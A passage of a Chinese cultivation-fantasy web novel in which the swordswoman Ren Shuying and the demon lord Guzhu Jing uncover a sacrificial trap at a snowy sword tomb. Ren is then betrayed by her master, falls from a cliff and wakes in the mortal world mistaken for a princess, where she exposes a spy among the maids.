“都说了,咱们都是灵犬了,你偏偏要学凡界的土狗,舔人家灵兔一身口水,那主人不担心你吃口吃了就怪了!”
可话落,起初发话的灵犬乍然望向一处连连叫了几声,不过人群嘈杂,没有引起任何人注意,
“你看!就是前面那个女人,灵兔就在那!”
任舒映好奇顺着灵犬所望一看,只见一个纤弱的背影走在她面前几步之处,手中的灵兔埋在女子怀中,纹丝不动。
任舒映歪着头若有所思。
那女子……怎么觉得自己好像在哪见过呢?
许是任舒映的打量视线过于明目张胆,前面那个女子似乎颇为警惕有所发觉,不动声色偏头斜睨过来。
任舒映看清楚女子侧颜,心中猝然一沉,
“……?”
一道声音传来,打断任舒映思绪:“看出什么了。”
任舒映招手示意让孤竹京低头,自己压低声音道:“前面那个抱着兔子的女人,她……不是御兽师,而是……渺梦山剑修的弟子。”
闻言孤竹京目光移至她:“确定?”
“没错,我与她也相识,名唤杜韵,不过不知为何她不与渺梦山弟子一起,偏偏孤身混于此。”
孤竹京:“盯着她。”
——
一路跟踪,不知不觉,终于道生灵钟作响的源头,
雪絮飘扬,群修站立在一个被积雪掩盖的洞窟面前,他们简略清理清除洞口,却没有一个人进入。
从入口望内,漆黑而不见通道,唯有徐徐长风将雪粒灌入其中。
一时之间,众人面面相觑,
一人问:“你们灵兽怎么说?
“就是里面,一直在响,断断续续的响,不像是敲钟,倒像是敲着我这狄鸟的脑袋,现在耳朵还发鸣了。”
他们并不知道是生灵钟,故而只觉得奇怪,莫非里面是有宝贝?但他们又贪生怕死,不敢当这个领头羊。
氛围莫名僵持片刻,杜韵惊讶“啊”一声。
手中的灵兔没有抱稳,自己从怀里蹦跶出来,所有人的视线随之吸引过来,只见它径直往那个黑黝黝的洞窟里面奔入。
他们以为这灵兔或许会在里面迷路,怎料,这不过一盏茶的时间它又跑出来了。
嘴巴居然还咬着一颗流光溢彩的灵珠。
见状,众人喧哗起来,好奇围上前去。
“哟!还真的有好东西啊!”
“什么什么!”
“居然是凝结百年的鲛珠!”
听罢,任舒映与孤竹京对视起来,鲛珠?若是就这么突然出现在洞窟内,确实是匪夷所思。
但在九骸壤,万事皆有可能。
何况见杜韵就这么白白捡到这稀罕鲛珠,也有人开始跃跃欲试。
先到先得,这个道理在九骸壤依旧存在,万一里面当真是一个财宝窟,岂不大赚?
紧接着,几个修士命令自己的灵兽爬入洞窟之中,静等消息。
果不其
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然,这次灵兽带来的东西比鲛珠更加珍贵,
让人看的两眼放光,
成色极佳的玄玉,晶魄石、炼髓珠……
任舒映惊愕在原地,莫非这是个灵矿洞窟?所见的都是群修求之不得的炼器材料啊。
她动心了……
没有剑修会拒绝……
任舒映正要凑上去看看还有这么好宝贝时,孤竹京的手乍然扣住她的肩膀,他问:“你干嘛?”
不是说好不打草惊蛇的么?现在走过去,杜韵不就注意到了。
任舒映目不转睛看着围拥的人群:“我觉得叩雪想要一些灵石精粹打造,让它更加完美……”
叩雪极力支持:“我!同!意!”
一把上品剑器,断然少不了极品灵矿的进阶锻造。
不过苦于资金紧张,她也只能给叩雪定期擦擦,若是趁此机会带些灵矿回去,一半卖了,一半给叩雪,岂不是两全其美?
孤竹京把差点失去理智的队友人拉回来,不禁问:“你很穷?”
“……等我有了灵矿就不穷了。”
孤竹京声音一冷:“不准去。”
任舒映着急道:“他们进去了,我们去看看吧!”
孤竹京:“……先等会,观察一下杜韵,她要是进去了,我们再进。”
任舒映只能按下冲动,目光却凝固在杜韵背影,心头迫切期盼着,赶紧进去啊!
群修接二连三钻入洞口,外面已是稀寥无几。
任舒映二人躲在角隅许久,杜韵终于有所行动。
她举目四顾,见人都进的差不多随即露出一抹得逞的浅笑,大步而入,消失在洞内。
任舒映:“杜韵肯定有问题。”
孤竹京知道她已等不及,只道:“知道,先进去吧。”
——
虽然洞口通道只能容纳一个人进入,不想深处别有洞天。
穿过深邃幽暗的长道,忽然一股寒意袭来,一片巨大的寒潭豁然现入眼帘,水滴落岩石上,水流潺淙。
任舒映纳闷道:“他们人呢?”
沿着潭水走了几步,她也只听见暗风涌动,再无杂音,她召出灵光照亮洞内,四壁凹槽不平,却都是普通的岩壁。
灵矿这么快被他们都挖走了??!
孤竹京不知何时走在她前面,催促道:“快走前面还有路。”
任舒映才大步流星跟上。
离开被人凿光的空洞,他们来到下一个空洞,这时任舒映才想起来生灵钟,扶鸾还昏迷不醒,又问向剑灵。
叩雪道:“进来后就没有听见。”
听罢,她心中隐约察觉到一丝怪异。
里面的修士,杜韵,生灵钟声皆不见了,莫非是陷阱?!
思忖间,一阵杂乱的叫喊声从远至近传来,闻之令人不寒而栗。
深不见底的幽道跑回几个修士,衣上鲜血淋漓,面色惨白惊恐,似乎见到了什么恐怕的东西,慌不择路跑来,与任舒映二人撞上。
任舒映蹙眉拦下一人:“里面发生什么了?你们为这般——”
还没有等说完,对方喘不过气,惊魂未定,语无伦次说了几句:“假的!都是假的!他们要来索命了!”
任舒映一愣,人已大力挣脱,仓皇往原路逃去。
29.生灵钟(三)
任舒映琢磨方才的话,转眸望去,空无一人,
“孤竹京?“
她发现不过一句话的时间,孤竹京怎么不见其踪,与她作应的是幽长隧道中呜呜风风声。
她想着,孤竹京应该不会无故失踪,许是他触碰了此处的结界,被带到别处去了,不过大概还在这里。
念及此处,她攥紧叩雪剑壮胆举步而去。
再穿过一条长道,豁然开阔的洞帘让她惊愕在原地。
她竟又一次见到初时所出现的寒潭,一模一样的道路,水面平静无波,空气这掺杂一丝腥血气。
她召出灵术,将手中流萤汇聚而成的光球掷入寒潭,一圈圈灵波在接触水面荡漾起耀眼的光芒,洞帘乍然明亮,亦看清楚了寒潭的全貌。
潭水呈鲜红色,面上浮起来一片零散的深然白骨,她目光凝滞须臾,默默道,这里面该不会是血水尸骨吧?
任舒映接着流萤浅光扫视,很快又发现洞壁角隅窜生出来的草垛中有一片衣角。
似是被人随意丢弃,拾起一看,竟是一副薄薄的皮囊,她几乎一眼就看出来,这衣物皮囊便是杜韵,
如此熟悉的手法,不难猜出又是那邪修巫溪所为,恐怕这真正的杜韵早被掉包,凶多吉少。
翻看一番,任舒映眉头紧锁,巫溪就连那灵兔也不放过,就在附近发现今日那只灵兔的尸体,触摸时还余留一缕温度,料是尚未走远,她不再耽搁加快步伐往深处奔去。
——
就在任舒映即将行至洞窟最深处,她听到了一阵嘈杂的声音,徐远徐近,似是往她这边走来,如今尚不明确这里的情况,情急之下,掩息借着轻功飞速隐匿于一块巨石后的暗影下。
随之而来的人亦未发现,直至人靠近,任舒映终于知道是何人。
那个巫溪居然又顶着她的脸,身边之人还是叶谨辰的师兄。
正如孤竹京所言一般,他们果然有交集。
两人来到任舒映躲在的巨石旁边,站立于的岩壁下,男音率先启口:“那些愚蠢的御兽师都在里面了?”
巫溪:“跑了几个。”
话落,巫溪对着墙面解开一道禁制,石壁顷刻之间消散,任舒映所在的角度正好可以一览无余。
场内是一个供奉神像的地宫,地面砖块是玄红色,拼凑着巨大的图案。
细细端详,纹路是用朱砂涂画出来的红纹,洞凿神龛金像莫约十来尊,皆以金属打造,拿着各种灵器,神态各异,悉数以凶神恶煞之状。
任舒映一眼就看出中央最大的金像,她与孤竹京去过的荒废庙宇中,也摆放着的铜像相同,
只不过这一尊,更加精致。金象本是宏壮,令人心生崇意。如今却被火灼烧着,表面的金漆脱落,俨然一副泥胎塑像,面目狰狞的样貌。
只是任舒映实在不知道究竟是何神像,是一手持莲花,一手抓着一条巨蟒,蟒蛇吐信子,神情阴深凝视莲花。
邪气,总之不像什么好东西。
青灯莹然,烛火摇曳,原来消失的群修皆在于此,他们被困在一个阵法内,俱面露焦灼。
而所有的金像环围他们,群修观之犹如蝼蚁般渺小,与此同时,任舒映还看见孤竹京面色坦然立于亦在人群之中。
任舒映:“……”
群修见“任舒映”和一个剑修踏步而来,一脸茫然,孤竹京见此,亦是眸光一滞。
群修中一人望向“任舒映”道:“我记得你,你是方才混入我们之中的人!果然有人想要引我等入此。”
任舒映这是忽然想起来,方才混迹于群修之时,孤竹京提醒过让她少说话,起初还不理解,如今倒是了然。
合着他是怕被连累啊!孤竹京如今在人群之中,有谁知道他们一伙。
巫溪意味不明笑承认:“不错,我就是混在于此。”
这群愚蠢的修士又怎么知道,混迹在他们之间之人,究竟是那个呢?
随后又人道:“你用收音术引我们究竟意欲何为?”
收音术?
听到此任舒映才意识到自己入了别人设的局中。
盗取生灵钟的幕后主使根本不在此处,而是巫溪利用收音术不断放出生灵钟的声音,伪造生灵钟声音,继而吸引一部分修士前来。
如此看来,或许唯有巫溪才知道盗取生灵钟是何人。
转眸看着,巫溪只答:“你们都是祭胬!神火已起,祭胬入坛!”
任舒映:“?”
邪修有一邪术可直接将修士炼化为灵丹,任舒映目光落在孤竹京脸庞,开始犹豫是否要破了这阵法,
顷刻间,神龛中的佛像突然摇摇晃晃,一阵地震山摇。
众修士见状也只能尝试破阵,孤竹京始终纹丝未动。
可叩雪剑上的灵犀印蓦然泛起灵光,抬眸再看,与他远远对视一瞬。
孤竹京无声凝视,她却会意出这是让她不必出手,轻举妄动。
心下正疑惑他究竟要做什么时,
巫溪面色骤然阴沉,一记眼刀投掷于任舒映躲藏的巨石上。
她在换上皮囊时,就已发觉傀儡的异样,早已知晓任舒映就在此,故想逼迫她为了救阵内那个孤竹京而自己出现,好把她也一起送入祭坛内。
可等了许久还不见人影,巫溪按耐不住凌空往任舒映袭去,阵内孤竹京周身忽然出现一团魔气,他轻而易举踏出阵法,召出魔阎径直向巫溪击去。
任舒映刚挥起叩雪,巫溪以肉眼可见的速度被魔阎燃烧殆尽。
这是她第一次真正的见到孤竹京出手,原来他出手一息之间即可毙命。
任舒映道:“这不过是巫溪的傀儡,若是没有寻到原体,根本杀不死。”
听罢,孤竹京用魔气缠起试图逃跑的叶谨辰师兄,语气中隐隐带着威胁问:“巫溪,在何处?”
对方看出来此人是个实力深不可测的魔修,顿时贪生怕死的原形显现出来,遂颤颤巍巍结巴将自己都知道的托盘而出:“她、她……她说把这里的修士献祭之后,回去山顶,”
任舒映:“山顶有什么?”
“我不知道!真的不知道!但是巫溪定然回去,不止巫溪!”
孤竹京知道是问不出来什么了,正欲要杀了此人,怎料尚未动手,此人口中吐出一口毒血,脖子一歪,死了。
任舒映怀疑巫溪去寻盗取生灵钟之人
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,无奈道:“先去山顶吧。”
身后一群修士见状,火急火燎齐齐跟随。
——
极地雪域山顶。
雪粒零零星星,没有人始终没有感到一丝寒凉。
赶上顶峰后,一片平坦的天池现入眼帘,天池上覆盖一层薄冰,但却是不少修士踏着冰面往中央汇集。
天池中浮着一片平地,平地耸立一颗巨大的枯树,树身呈晶体材质,成千上万的金丝般的树根深深扎入地面渗入薄冰层下。
任舒映也是初次至此,观望之时颇为震撼,须臾她喃喃自语:“这……是什么树?”
叩雪道:“仙靡树,仙靡之树,百年结果,食之可增百年修为,不过这颗树已经枯死了。”
孤竹京淡淡道:“此处是剑冢入口。”
任舒映转眸终于忍不住问:“你是来过这里吗?”
“嗯。”
孤竹京眸光暗沉,目光落在某一处,似是在沉思。
他手下的魔卫,应该也快来了。
任舒映:“你要去剑冢吗?”
孤竹京一口回绝:“不去。”
她也不去,剑冢危险重重,还不如趁着群修入剑冢,去附近捡漏。
“嗡——”
任舒映纳物袋内的扶鸾忽然动了,
就连她恍然间好像听见一道浑厚钟响。
“孤竹京,你可曾听到什么声音?”
只见所有人纷纷抬首往向枯叶团簇的仙靡树,身边人道:“钟声,在树上。”
钟声一阵一阵随之而来,天际边成千上万灵鸟振翅涌现,盘旋与仙靡树上。
群修无不愕然伫立仰视。
任舒映听出来,是生灵钟。
有人故意将生灵钟藏在仙靡树内,又召引许多生灵来。
天穹群鸟相拥,雪绒漫天彻底飞扬,天地皆白,云海翻涌,一只庞然大物的憧影出现。
一群修士激动不已,嘶声力竭喊:“那居然是……神鸟青鸾!”
“神鸟降世,大苍共福啊!”
“有生之年,竟然还可以见到神鸟!”
——
青鸾与仙靡树下盘旋三圈,一道灵气汇集的灵波出现,是剑冢入口开启了。
见状,一群修士齐齐御剑蜂涌之入口。
这时令人意料之外的事情发生了,青鸾忽然悲鸣长啸,鼓动翅膀,一头冲撞在苍巅的石崖上,
顷刻间,崴然耸立的雪山一阵巨晃,乱石滚落,仿佛天地为之一震,青鸾的身躯在撞击一瞬,随后化作满天流萤,四处消散,似乎与久落不停的雪融为一体。
一时之间,所有人心思各异,在究竟是祥兆还是凶兆,大家已有定论。
任舒映一愣,手中忽然有柔软的触感拂过,低头一看,是一片青蓝色的羽毛。
这是青鸾给她的吗?茫然间,她举目环顾,但似乎唯有她有这片羽毛。
孤竹京顺着她的目光落在那片青羽,眸中之色顿时意味深长,
——
天池外,一个青衫男子目光死死凝固于任舒映的背影,身影岿然不动,神情中尽是不可置信。
他终于寻到了。
30.变数
眼观着青鸾消失,任舒映手中片羽亦随之化作流影。
“孤竹京,你去何处?”
他仰视剑冢须臾,没想到真的会原路折返,也不让任舒映跟着。
“不必跟着我,你下山往回走,去那天见到的荒庙,在案台上过香你便可离开此处。”
任舒映只好定在原地,看着他离开。
孤竹京才走,忽然听见一道声音。
“舒映。”
她回首,柳邈一人含笑看着她。
“……你也在此。”
柳邈以叙旧的口吻徐徐道:“自然,毕竟我是渺梦山弟子,”
任舒映听见师门,想起来近日频频出现的生灵钟,试探问:“你可曾发觉到这里有不寻常的声音。”
“是生灵钟。”
任舒映:“他们可相信我并非是盗取生灵钟之人了?”
她只想知道渺梦山的弟子现在是如何想的。
柳邈稍顿,道:“自然,还有我们取回生灵钟了,师尊让我替他带话,他想要见你一面。”
回想起来,自从她离开渺梦山,便和师尊也许久未见过面 。
任舒映不假思索,答应下来。
她随着柳邈离开天池,被引至一处偏僻角隅后,
任舒映心下顿感不安起来,她不禁问:“你要带我去哪?”
闻言,柳邈停下脚步,眉眼显然在隐藏着莫名怪异的情绪,他故作淡然,指向不远处云海翻涌的高崖道:“师尊在那里,去吧。”
任舒映木讷点点头,行色匆匆直奔过去。
登高远眺,高崖峭壁,群山并立,却不知天色何时沉郁下来,一个白发老者面对山海,迎风振袖,风涛猎猎。
任舒映的师尊,名唤虔贞。
任舒映安心下来,远远望之而后大喊:“师尊!”
虔贞一副仙风道骨之貌,手持一桃木拐杖,闻声侧眸,目光凌厉看向任舒映。
虔贞扬眉一笑,脸上皱纹愈加明显,“舒映,近来可好?”
任舒映向来报喜不报忧,意识下答:“还好,是因为我连累了整个渺梦山。”
虔贞垂下眼帘,语调如往常一般,“不怪你,来,告诉师尊一件事,你可要如实回答我。”
说着,他压低嗓音,似乎又意在防范附近人,
“神献灵脉之事,有何人知晓?”
任舒映虽不解其意,见状细细回忆道:“柳邈师兄……”
虔贞尚未听全,急促问:“是不是他可曾问过你关于神献灵脉之事?”
“当时迫不得已……我只告诉过他,神献灵脉在一个人身上,但他不知道在何处。”
虔贞长长喟叹,想要心中欲答的话语终究还是压回咽喉,“晚了,你可知生灵钟为何在此。”
任舒映对事一向通透,聪慧过人转念一思,道笃定道:“是青鸾。”
据闻青鸾神鸟若闻无仙乐而不现,不过生灵钟奶上古圣陵灵器,亦属仙宝,可以召唤出神鸟倒也可以信服。
虔贞神神叨叨低吟:“他骗过世人,却骗不过我眼。”
师尊说着召唤出幻影球,瞬息之间递交她手中,随后凝眉注视,语气猝然严肃,口中念起她所谓的恶行:“任舒映你虽未盗取生灵钟,但是你与魔修勾结之事,众目睽睽,如今擅自逃狱罪加一等,你若跳下去,以死谢罪,我便既往不咎。”
任舒映从来未见过师尊面上带着一副愠怒之色,以往不管她犯何错虔贞始终都是佯装作怒,实而纵容小辈。
如今他似是真的生气,一直催促她跳下去。
“……师尊,你不是一直都相信我并为与魔修勾结的吗?”
一时之间,她怔怔看着虔贞,只觉得自己脚步愈加沉重,说话时几乎喘不上气。
柳邈闻声而来,举步逼近,面目狰狞口中质问:“师尊!为何你偏偏要她死,亦不肯成全我这唯一一个心愿!”
虔贞叹息:“心魔作孽,柳邈你当还不自知。”
任舒映正听的一愣一愣,乍然被虔贞一道强劲的灵波击退。
柳邈倏忽反应过来,召出一击,欲要拦下任舒映。
不料虔贞迎面挡下。
柳邈顿时面色铁青,怒不可遏道:“师尊……”
任舒映直直坠落茫茫云海下。口中连连叫叩雪,
剑灵始终未有回应,扶鸾急的叽叽喳喳从纳物袋飞出来,咬着她的衣角随之掉下去。
——
孤竹京走后,在天池下一处新凿开的地道与手下魔卫会面。
修界群修,只知天池剑冢,却极其少数人知道知道同时有一处称之为地池剑冢,两处入口同时开启,天池灵器自衍灵识,修士无数,空手而归者诸多。
而地池剑冢,入口掩埋与天池下,魔气流溢,虽内有魔煞,但却极易清除,灵器并无灵识,喜欢便可带走。
孤竹京的撼刑剑便是于此取得,有不一样之处,便是撼刑在地池剑冢中,乃唯一自衍灵识的魔剑,嗜杀成性,故而撼刑若不定期洗灵,亦有可能叛主。
清理一波修士,孤竹京并指念诀,手抵额间,将封印于灵海中的一缕魔识放出来。
魔识一出,迫不及待冲入地道,孤竹京把魔识抓回来,投掷在一个燃烧的灯炉内。
烛火是他的阎火,在魔识进入的瞬间,阎火拥上包围,他像是被烫着,疯狂跳动,不断撞击着炉壁。
魔卫观此情形面面相觑,皆不敢吭声。
魔主的火老恐怖了,凡是沾上,轻则残肢断臂,重则灰飞烟灭。
“你们就在此等着。”
孤竹京落下一语,径直进了地道,
地宫幽邃,一道低沉的声音传入他的耳畔,
“孤竹京,你终于来了。”
闻言,孤竹京冷笑一声:“来取你狗命了。”
“就算毁去我的肉身,但是只要我还留一缕魔识,你永远都杀不死我。”
孤竹京淡然道:“苍燎,你莫不是忘了神献灵脉。”
“你有神献灵脉又如何?神献灵脉分阴阳二脉,缺一不可,若不是先前被你诈过,又岂容你登上老子的魔域主之位,不成气候的小子!”
孤竹京确实只有神献阳脉,但今日青鸾羽落,他才有所发觉。
原以为他乃神献阳脉之身,天生无法修得灵识,偏偏任舒映可以用灵识设下灵犀印,寻到他的方位。
他
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本无灵识,灵犀印绝对不可能寻到。此后心中落下一疑,青鸾之羽非寻常之人所得,偏偏他们二人都有一羽。
若非不是神献双脉之间互有感应,天下也就那群魔兽可以循着味道而来。
任舒映她便是神献阴脉之主,只要她甘愿将阴脉献给他,从此便是仙京之神也无可奈何。
魔域,修界他都要。
孤竹京眸光愈加深沉,野心勃勃的注视地池剑冢上摆放的金像。
“苍燎,你的最后一丝魔识在哪呢?”
金像手持莲花,巨蟒交缠双臂,两目浑圆,宛如瞪视眼皮底下的孤竹京。
苍燎的声音自虚空深处幽幽响起,他笃定孤竹京仍然拿他毫无办法:“孤竹京,我已修得魔途极巅之道,就算你寻到魔识亦杀不死我哈哈哈哈哈哈哈……”
孤竹京也不急,他勾唇一笑正要用阎烧火毁金像,撼刑剑忽然嗡嗡嗡作响,任舒映设下的灵犀印忽然化作金光闪闪的流萤,四处消散。
他垂眸一滞,心下仍有些难以置信,试图用神献灵脉感应,不料毫无反应。
任舒映这是……死了么?
地宫外此时一阵杂乱脚步声愈来愈进,他转首瞥去,柳邈带着一群修士蜂涌进来,
柳邈目不转睛盯着孤竹京,厉声下令:“抓住他!此人就是魔域主!”
话落,他们将孤竹京围成一圈,嘴中念念有词,衣袖挥摆,齐齐举剑指向中间,一道天罗地缚网自顶落下。
苍燎金像目光凝固于孤竹京,幸灾乐祸道:“孤竹京,你已插翅难飞,不如好好将我的魔识归还与我,说不定,哪日我重归魔界,还可以留你一个全尸!”
孤竹京道:“滚。”
孤竹京面不改色,语气淡然,眼前所视与他而言不过蝼蚁,随之他目光落向柳邈手中梅花剑:“你是渺梦山的人,任舒映人在哪?”
他见过此人,在天池时,就被一直窥视,原来是任舒映的同门。
任舒映已坠崖。
柳邈断然不可再让这个拥有神献灵脉的魔修逃走,随后转念一想,道:“她被魔修劫走了,你莫非不知道?”
闻言,孤竹京嗤笑,劫走?如何劫走,灵识所结的灵犀印还可以一同消散。
“我再问你一次,任舒映是不是死了?”
柳邈:“此话应当是我来问你。”
两人眉目对峙,氛围沉默须臾,孤竹京耐心全无,挥起魔气四溢的撼刑斩向柳邈。
孤竹京来势汹汹,群修原以为会是一场恶战,不料这个魔域主也不过是落网之虫,刀俎鱼肉。
孤竹京亦是发觉到自己的异样。
自己的神献灵脉,居然失效了。
孤竹京只能依靠撼刑挣扎,柳邈盯着孤竹京不动声色邪笑,神献灵脉就应该属于他。
孤竹京正思索是否要先寻找任舒映下落,不料巫溪化作任舒映的样貌乍然出现。
见此他微微一怔,分心思考,任舒映不会安然无恙出现,岂料稍不注意柳邈倏然飞驰而过,一剑穿腹。
“留活口!将此魔域主带回去审问!”
话音刚落,孤竹京竟然凭空消失,在场所有人无不举目四顾,愕然不解。
31.旖旎靡梦红尘井(一)
侍女正于悬崖峭壁下的墨河寻野菜,回去路上,一眼便看到下游处,水草泥丛的岸边浮着于河面的女子。
疑惑片刻,她提起菜篮一步一步向前走去,拨开碎草,一个容貌清丽的女子。
侍女定眼一看,脸色大变,手中的竹编篮猝然掉下,语调颤巍大喊:‘‘公主?快来人啊!公主在此!’’
将公主带回去,一群待女便捧着热水净盆、在暂时搭建的营帐内外来回进出。
一日后,任舒映茫然半醒,一觉醒来竟发现自己在一个陌生之处。
“?”
我不是在极地雪域坠崖了吗?
床榻旁的待女观察到她眯着眼缓缓起身,急忙走去一把帮扶。
“公主……”
任舒映一听,目光落在待女脸上,脑子嗡响:“……什么?”
待女细眉紧蹙,颇为担忧,压着声音问:“公主去哪了?你失踪整整有三日了。”
任舒映总不能莫名其妙说对着普通人说她是修界的人,在秘境坠崖等事,念下她只好装愣答:“我……不知道。”
这种情况,她觉得自己还是想要先冷静一下,虽然她不是什么公主,但这待女看起来是公主的贴身丫鬟,连她都认不出来,许是有什么蹊跷。
随后待女贴着她耳畔轻声说:“是不是孤竹国的人……又来抓你了?”
任舒映也听不懂什么孤竹国,她揉着脑袋佯装出深深回忆的样子,随后胡编乱造:“好像是吧,我也不清楚,我就是躲起来。”
待女听着,居还深信不疑,她垂下眼帘颇为愧疚道歉:“公主是我的过错,若不是那天我头脑发热,偏偏要先去追杀刺客,你便不会失踪。”
任舒映先是安抚一下待女的情绪:“不怪你,”
主动抛开话题问:“对了,刺客可有抓到?”
说到这,待女口中含怒,摇头答:“并未,这些孤竹国的人太过狡猾,想来是我中了他们的调虎离山之计,他们应是故意引走我后,继而将才你劫走。”
任舒映似懂非懂“啊”了一声,心下暗道,
莫非她是什么人族公主身份,被敌国追杀?
她正要继续探清楚现在的情况,帘帐外忽然传了一个女子的声音。
“……公主,扶鸾,外面有一个随队护卫说有要事相报,可要带过来要见您?”
任舒映听见扶鸾当即怔住。
整个营帐内就只有她和身边这个待女,唤的扶鸾?不会是与她在荒庙所捡的苍鸠同名吧?
扶鸾没有注意到任舒映的异样,询问一句:“公主可要见人?”
她反应过来眸光扫过垂落的门帘,稳定心绪,连连道:“好、好好让她带人过来。”
说着,扶鸾背着她,抱起厚厚的衣服,走向任舒映道:“公主外面下雨了,您刚落水,先穿起外服,莫要着凉了。”
任舒映没有被人这么无微不至的服侍过,虽觉得十分别扭,但又担心身份暴露,故而犹犹豫豫答应。
扶鸾娴熟将衣服铺开,捏起外肘一角迎面而来,任舒映穿的几乎要跳起来了。
她自出生带记忆以来,便在渺梦山中修行,与凡界的习惯大相径庭,如今初次穿起繁文缛节的宫裙,这比让她背一套初学心诀还难。
扶鸾还在她后背轻笑出声,她理了理袖子提醒:“公主,手还未穿过袖去。”
任舒映吃力气穿好,吐槽一声:“……好紧。”
扶鸾顺平她胸前的对襟,道:“公主,虽然您不喜欢孤竹国的衣服,但是我们日后是要在临城皇宫待一辈子,可不能再穿巽国服饰。”
“……”
任舒映转念一想,该不会是这个公主已买给孤竹国了吧?
花了点时间穿好衣服,任舒映又被拉去梳妆,她忍不住道:“扶鸾,外面还等着见人,不如梳发简洁些,不必太过费时了。”
听罢,扶鸾梳着任舒映长发的手一顿,目光低垂落在她面前反射脸庞的镜子,片刻闷声作答:“您怎么着,也是将来孤竹国的太子妃,哪有贵为皇族,还要如此屈尊降贵素脸示人的。”
任舒映听完,身躯一震,乍然凝噎。
什么!居然还是两国联姻?!
还是,太子妃?!她忽然有些后悔认了这个身份,重要是她生于修界,别说凡界皇族规矩,就是让她做个普通人家的女子亦不清楚要做什么。
“……太、太子妃??”
扶鸾未看任舒映的乍惊之色,解释道:公主莫要担心在宫内丢了脸面,婚期定在明年处,如今还有半年学习了解的时日,为时尚早。”
“……”
我不要嫁人啊!
任舒映再怎么说也得寻一个修界道侣,怎么可能会嫁给一个凡界之人,就算是什么位高权重的人,那两人都不属于一个世界,太牵强了。
她想着,又问:“这可还有什么转圜的余地?”
“啊?”
扶鸾没听懂,按自己理解的作答:“公主莫要想着逃婚,此次两国百年安邦就靠你与孤竹国太子殿下了。
孤竹国……
任舒映越念越奇怪,这么和魔域主的名讳如此相像呢?
扶鸾取出一个白玉脂梅花发簪,别于方才挽好的单螺头上。
“好了,公主。”
任舒映看向铜镜,果然速度够快,虽说扶鸾方才还提醒自己日后身份何等尊贵,手下还是乖巧打理一个简单不失精气神的发型。
揽镜自照,镜像女子眉目如画,还真有点贵气之像,片刻她扬起眉满意点头:“走吧走吧。”
——
移步而至一个办公的将帅营,一个穿着军甲的中年男人迎面走来,给任舒映行了一个军礼。
“公主,如今身子可还有什么不适,我这就派人往下一站宴嘉城内寻。”
任舒映道过谢:“不必,我只是受惊了,缓和几日即可。是谁要于我见面,带上来吧。”
见公主气色确实不算很差,男人转眸唤外营待卫大喊:“将人带进来吧。”
她被邀上主位落座后,不禁内心赞叹,这做公主待遇怎么好的吗?若是在修界,她这个位置还得是长老才可以坐。
今日也算是在凡界装装过瘾罢。
径直踏入帘中之人,亦披铁甲,观样貌年纪不大,皮肤略黑,目光炯炯有神,视线落在高位坐着的公主身上,
“小的见过公主,领将。”
任舒映曾听说过凡界之人极其看重行举礼制,她不动声色瞥过一眼旁边沉默不语
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的领将,随即反应过来,领将在等她,她敛回视线,遂启口道:“……嗯,那个有何事直接说吧。”
“是,公主,您那夜遇刺,可还记得当时您营中值夜待女是何人?”
任舒映一顿,脑子里一片空白。
我哪知道有何人?
沉默着她用清澈茫然的目光移向身边扶鸾,
扶鸾会意,面不改色作答:“我只记得当时有两位待女,”
扶鸾稍停顿,考虑到公主也大可能会不知道待女名字,又依当时所记得的道:
“一个白衣,一个浅黄衣,我那夜不在,尚不清楚是哪个,公主此事只有您在场,还是需要您定夺。”
任舒映认真听完,摸着脑袋故作思索。
心中却天人交战,难以抉择。
她也不知道是谁啊?两个人都没见过,要让她定夺也是胡乱作答。并且,这亦有可能伤及无辜,一时之间她只好含糊其辞,徐徐答:“
嗯……两个都未见过呢?”
少年亦是眸光一滞,锁眉沉吟须臾:“我们在追寻刺客时,发现他们对我们行动的路线十分熟悉,在遇劫事发之际,无人看见您营中值夜的待女传话。”
任舒映听出来他的话下之意了。
就是让她再仔细想想,好抓到内应的人罢了。
可她真的不知道啊!
领将见公主面露为难之色,思考俄顷提议:“不如这样吧,将那两个待女带过来,公主再辨别一番。”
任舒映随即点头,
这样好啊,如此一来,她自有有办法查人。
——
任舒映派人去寻时,留下一语,要放开审问二人。
虽然在场所有人皆揣摩不出公主意欲何为,但她以后是位极太子之正妃,总归不可得罪,听命而行便是。
第一个待女为白衣,性格胆怯,说话时目光躲闪生怕说错话,得罪贵人,让人一眼看上去便觉得是一个胆小怕事的人。
任舒映一见到人,激动拍案而起,指向待女面首怒道:“我记得你!遇害那夜,就是你知情不报,我还看见你在和奇怪的人说话!”
待女没有料到公主会这样说,心中未有底气,但还是跪于地,语调不稳辩解:“公主,那夜……我给您备好了热水便匆匆退下,是福玉她后夜值夜!我真的什么都不知道!公主我是被冤枉的……”
任舒映挑眉不语,目光始终盯着白衣待女。
“押下去,待领将大人发落吧。”
其实在众人看来,这个待女说的确实也有可能证明自己是无辜。
但公主却没有选择继续听下去,而是云淡风轻下令,给这个尚未认罪的待女不明白的定罪。
草草了事,一时间,众人皆心思各异,任舒映见人被带走,随后不紧不慢饮茶,
“让人把福玉带过来。”
福玉性子冲,惯会察言观色,但见与她同夜值夜的人进去不过一会就被押走,猜测应该是招了,故而放心下来。
既然已认下,她应该会是安全的。
岂料,任舒映见到福玉,随即再度拍案而起,连同茶杯中的水都被溢出来。
只观公主指着待女,语调极冷,她居高临下睨着道:“你可以认罪了。”
32.旖旎靡梦红尘井(二)
福玉茫然而立,尽管心中发怵,她还是稳住心神,
“公主,不知奴婢何罪之有?”
任舒映:“据方才那位待女说,不曾在后值夜,而是指认你与刺客暗通。若实情不对,我可再斟酌一二。
闻言待女低垂眼帘,暗骂那待女过河拆桥,得了她好处,随即便反回来反咬一口。
沉默片刻道,福玉以为事情败露,心下一横,冲着任舒映道:“不错,我便是内应,不过我们太子殿下说了,宫中可留你不得。”
说着,身边领将听见这太子名讳,震惊之下尚未回过神,福玉从袖摆拿出一把小刀,倏然往任舒映刺去。
她意识下便要用灵力,怎料指间灵力还没有凝结骤然化作流萤消失。
她低眉一看,诧异的说不出话了,
“?!”
什么,灵力都不管用了?!
情急之下,她只能翻身侧躲。
恍然间,扶鸾迅速闪来,挡在她前面,一掌击向福玉右肩,
“啊!”
只听见一声凄厉惨叫,一道声音被推向十几步外,任舒映目光在四处辗转,最后若有所思落在扶鸾背影上。
原来这个贴身待女还擅武呢。
这时,领卫才急急忙忙向那年轻小侍卫令:“快追!别让那刺客跑了!”
扶鸾见福玉顾不上受伤掀帘跑出去,只留下一语:“公主,您在这里稍等片刻,我去去就来。”
也不等她作答,便紧追其去。
任舒映笑着对领将道:“既然如此,我先回营帐了。”
领将立刻起身连连引路:“公主恐怕送亲队还有内应,属下先送你回去吧。”
——
一回至自己营帐,任舒映立刻坐在榻上引灵炼气。
